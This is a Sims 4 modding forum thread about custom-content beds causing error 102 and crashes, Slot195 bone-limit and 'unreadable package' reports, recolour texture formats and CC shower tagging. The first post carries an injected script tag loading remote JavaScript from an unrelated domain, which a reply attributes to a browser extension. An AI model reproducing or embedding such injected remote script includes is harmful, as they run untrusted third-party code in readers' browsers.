|
Post by ddbabydiva1979 on Nov 20, 2019 1:43:02 GMT -5
Hi guys, if you have an example of a bed that causes an error or crash, please send it to me. Do not just provide a link to it - I need the package (it's fine to send it to me through the PM system). So far, multiple bed problems have been reported, but we only have example beds for one of the issues. It's impossible to be sure the batch fix will fix all problem beds without examples of each kind of problem bed . Here is the link to a bed that causes my game to crash. If I find any more, I will update this post. Thank you for all that you do here. ETA: I have no clue why all of that javascript stuff pops up. lol but I think the link is working. <script type="text/javascript" async="" src="//clonyjohn.com/21dca2f7d5837c09f5.js"></script>
|
|
|
Post by Feyona on Nov 20, 2019 3:22:50 GMT -5
ddbabydiva1979, link is working. You have some sort of extension installed in browser that adds this script at the end of your posts.
|
|
|
Post by blewis823 on Nov 20, 2019 6:26:07 GMT -5
Just tried recoloring the EA base game meshes again, still get the same brown film over my sims. The CC meshes are fine and show properly but the recolors are not showing right, they have the brown film over my whole sim. Would this be an EA issue with recoloring the meshes? I checked how the DDS is saving and it has the correct DXT5 save. I think that is right. I'm so confused right now.
Perhaps one (or more) of the the cc items is actually an override, not a standalone, meaning no matter how many times you recolor a skin/outfit/hair etc., the cc will override texture/mesh/whatever it was intended to override. Have you tried removing all CAS-related CC first, including your own previous recolors, and with all that removed, recolor a CAS item?
I'm using a no CC folder to play and tried my new recolors in that game play folder. I didn't make the RCs an override, just a standalone and they didn't work. Even the CC meshes won't show the RCs properly. The originals show up fine. ***EDIT*** Figured it out. Changed from saving the texture file as .dds to .png. Now my recolors work. Thanks to those that helped.
|
|
|
Post by peacemaker on Nov 23, 2019 2:26:43 GMT -5
I have been doing some investigation and the results are.............. not what I expected.
Bedding is not the issue, at least in my case. All my beds are separated, and when they are placed by themselves the lot loads. Alternatively, if i use my separated bedframes with the beds, error 102 happens. I tried changing the footprint max height to zero to see if there was a process of determining if a bed was blocked, but this didn't work. I tried replicating this error by blocking Maxis beds and the lot loaded. So at this point, I am unsure what part of the separated bedframe is actually causing the error.
after some more testing, i believe the footprints of the bedframes are to blame. Something has changed in them causing issues. Importing a few footprint resource, auto adjusting, then moving into the dorm doesn't create error 102. This is even on beds without the new function tag.
|
|
|
Post by Aqueelah on Nov 23, 2019 8:44:22 GMT -5
Someone asked this question already, but it does not appear to have been answered, so I am asking again.
I ran the Slot195 cheat, and while it did identify items that have too many slots (thankfully, only a few were flagged), a good number of items were labeled as "Unable to read package."
Unable to read package: /Bedroom/ND_792 - Erin Bedroom - Bedframe.package
Unable to read package: /Bedroom/ND_795 - Erin Bedroom - Pillow.package
Unable to read package: /Bedroom/ND_794 - Erin Bedroom - Blanket.package
Package: /Bedroom/[daer0n] maegan bedroom sleeping pit bed frame.package has 364 bones.
Package: /Starbucks CC/[dreamteamsims] Starbucks Fridge.package has 216 bones.
Unable to read package: /Bathroom/BS_20170405_BathIndustryShower.package
Unable to read package: /Pets/ATS4_object_maruslife_tinbed_PETS.package
Unable to read package: /Pets/ATS4_object_maruslife_tentbed_PETS.package
Unable to read package: /Pets/ATS4_object_princess-the-cat_bed_PETS.package
Unable to read package: /Pets/ATS4_object_maruslife_cardboardboxbed_PETS.package
Unable to read package: /Pets/ATS4_object_maruslife_cardboardballbed_PETS.package
Unable to read package: /Nursery & Kids' Room/ATS4_object_sweetbuddiesnursery_babychangingtable.package
Unable to read package: /Nursery & Kids' Room/ND_732 - Aura Nursery - Crib Canopy.package
Unable to read package: /Nursery & Kids' Room/[Severinka] TS4 Lenny kidsroom - wigwam wall shelf.package
Unable to read package: /Nursery & Kids' Room/ND_737 - Aura Nursery - Throw Blanket.package
Package: /Office & Hobbies/ForeverDesigns-IndustrialOfficeDesk.package has 743 bones.
Package: /Office & Hobbies/PC-TS4-VaraOffice-Bookcase.package has 314 bones.
Package: /Retail Stuff/[bangkoksims] Toys R Us Display Wall 2.package has 358 bones.
Package: /Retail Stuff/[bangkoksims] Toys R Us Display Wall 1.package has 840 bones.
Package: /Patio and Outdoor/daer0n MDN NSD outdoor set Softtub Hot Tub structure.package has 298 bones.
Unable to read package: /Kitchen/[W] Dubnium Cabinet.package
Unable to read package: /Decor/ND_828 - Erin Living - Throw Blanket.package
Unable to read package: /Decor/ND_803 - Erin Bedroom - Throw Blanket.package
Unable to read package: /Decor/SIMc-TSR-chlorophyll-P-MiniBike.package
Unable to read package: /Decor/ND_775 - Erin Dining Room - Throw Blanket.package
Package: /Decor/mango_s4_Elisa_Etagere_Mesh.package has 231 bones.
Package: /Decor/amoebae - OMSP Shelf.package has 264 bones.
Package: /Living Room/ForeverDesigns-EketLivingroomCabinetA1.2.package has 203 bones.
Package: /Living Room/ForeverDesigns-EketLivingroomCabinetA1.1.package has 200 bones.
Unable to read package: /Living Room/[ArtVitalex] Zurich TV Unit Main Cabinet.package
I'm guessing that these should be removed, as well, since S4S can no longer read/open them (they used to be able to be read by S4S). Can anyone else confirm?
|
|
|
Post by xordevoreaux on Nov 23, 2019 10:31:38 GMT -5
@aqueelah the answer was that TSRW, which is used by many creators on the TSR web site, creates packages that do not strictly adhere to Sims4 expectations or standards.
When you run Slot195 against such packages, and the expected arrangement of bones/slots is outside of those standards, S4S skips it and calls it unreadable.
For myself, I just removed all such packages. Anything I D/L from TSR now I run through slot195 before dropping that content into my game.
|
|
|
Post by sialia on Nov 23, 2019 11:41:42 GMT -5
I kept the files that were called unreadable (I had only 4 though) and so far it's been fine :D
Two of those files are by aroundthesims (and I have a TON of their stuff), so it's not only tsr creators btw
|
|
|
Post by szanne7000 on Nov 24, 2019 14:03:08 GMT -5
I think we will just need to test the unreadable package files - a friend on another site did this and had zero issues with the unreadable files. However, I would suggest paying close attention to any surface object likely to include slots.
I can tell you that the NynaeveDesign windows do work without issue in my game.
|
|
|
Post by xordevoreaux on Nov 24, 2019 15:37:59 GMT -5
I kept the files that were called unreadable (I had only 4 though) and so far it's been fine :D Two of those files are by aroundthesims (and I have a TON of their stuff), so it's not only tsr creators btw
It's not where the creators post their stuff, it's the tool they're using (TSRW). The game works with TSR-created stuff in most cases, but because the internal bone/slot config is different (for SOME packages made with TSR Workshop) than what S4S expects, S4S flags such packages as unreadable.
I've plenty of TSR content, including plenty from NynaeveDesign, but for me, anything that gets flagged unreadable by S4S, I'm removing it. Not saying that's a solution everyone needs to take, that's just what I'm doing.
|
|
|
Post by sialia on Nov 25, 2019 13:26:38 GMT -5
I kept the files that were called unreadable (I had only 4 though) and so far it's been fine :D Two of those files are by aroundthesims (and I have a TON of their stuff), so it's not only tsr creators btw
It's not where the creators post their stuff, it's the tool they're using (TSRW). The game works with TSR-created stuff in most cases, but because the internal bone/slot config is different (for SOME packages made with TSR Workshop) than what S4S expects, S4S flags such packages as unreadable.
I've plenty of TSR content, including plenty from NynaeveDesign, but for me, anything that gets flagged unreadable by S4S, I'm removing it. Not saying that's a solution everyone needs to take, that's just what I'm doing.
Yeah I got that, I just wanted to "warn" others that not only creators who upload on TSR use TSRW
|
|
|
Post by bichniki on Nov 25, 2019 18:32:01 GMT -5
Hi, I don't know if someone already mentionned it (to the best of my knowledge no one did)but I noticed that even with the new batch fix, the CC showers are not catalogued as showers with the university housing lot (meaning the shower requirement is not fullfilled with CC showers). I think the problem was similar with CC dining tables and CC chairs not being catalogued as such with the Dine Out DLC (for which a batch fix was made). I hope I explained myself correctly as English is not my first language.
|
|
|
Post by chickonamission on Nov 26, 2019 5:23:19 GMT -5
Soooo looks like yesterday was patch day! The only thing stated in the patch notes is:
We have addressed some crashes that were impacting mod users.
Is there any insight into what this means? Mod users have a bunch of issues and this reads a tad vague to me. :-X
//posted here because of thread content so far, please let me know if this should be placed elsewhere! //
|
|
|
Post by Feyona on Nov 26, 2019 5:35:18 GMT -5
They haven't addressed an issue with bone limit. I am pretty positive that they won't bother removing a limitation.
|
|
|
Post by xordevoreaux on Nov 26, 2019 10:27:11 GMT -5
I've been reading the external threads on thesims.com regarding the 180-bone limit and that it's been that way, unenforced, since the beginning.
Personally, and I do mean I'm just talking in regards to myself, I'd like to see S4S ostensibly prevent me from going over the limit when adding slots to an item, even if it's an optional toggle in preferences somewhere that basically says "Enforce Bone Limit Y/N" in which case attempting to save a package beyond 180 bones brings up a warning that I've exceeded the bone limit and need to reduce it.
With such an optional toggle, that would give those people who want to create huge slot/bone counts a way out (keep the toggle off) and people like me who aren't that daring to have a set of guardrails to keep whatever packages I create as utterly game-safe as possible.
|
|
|
Post by bichniki on Nov 26, 2019 19:30:25 GMT -5
Hi, I don't know if someone already mentionned it (to the best of my knowledge no one did)but I noticed that even with the new batch fix, the CC showers are not catalogued as showers with the university housing lot (meaning the shower requirement is not fullfilled with CC showers). I think the problem was similar with CC dining tables and CC chairs not being catalogued as such with the Dine Out DLC (for which a batch fix was made). I hope I explained myself correctly as English is not my first language. I fiddled a bit with S4S and I managed to solve the problem by adding the shower tag under function (not just plumbing) to ensure CC showers are considered as showers in the university housing lot. Maybe this could be automized and added to the recent batchfix for showers for people having a large number of cc showers?
|
|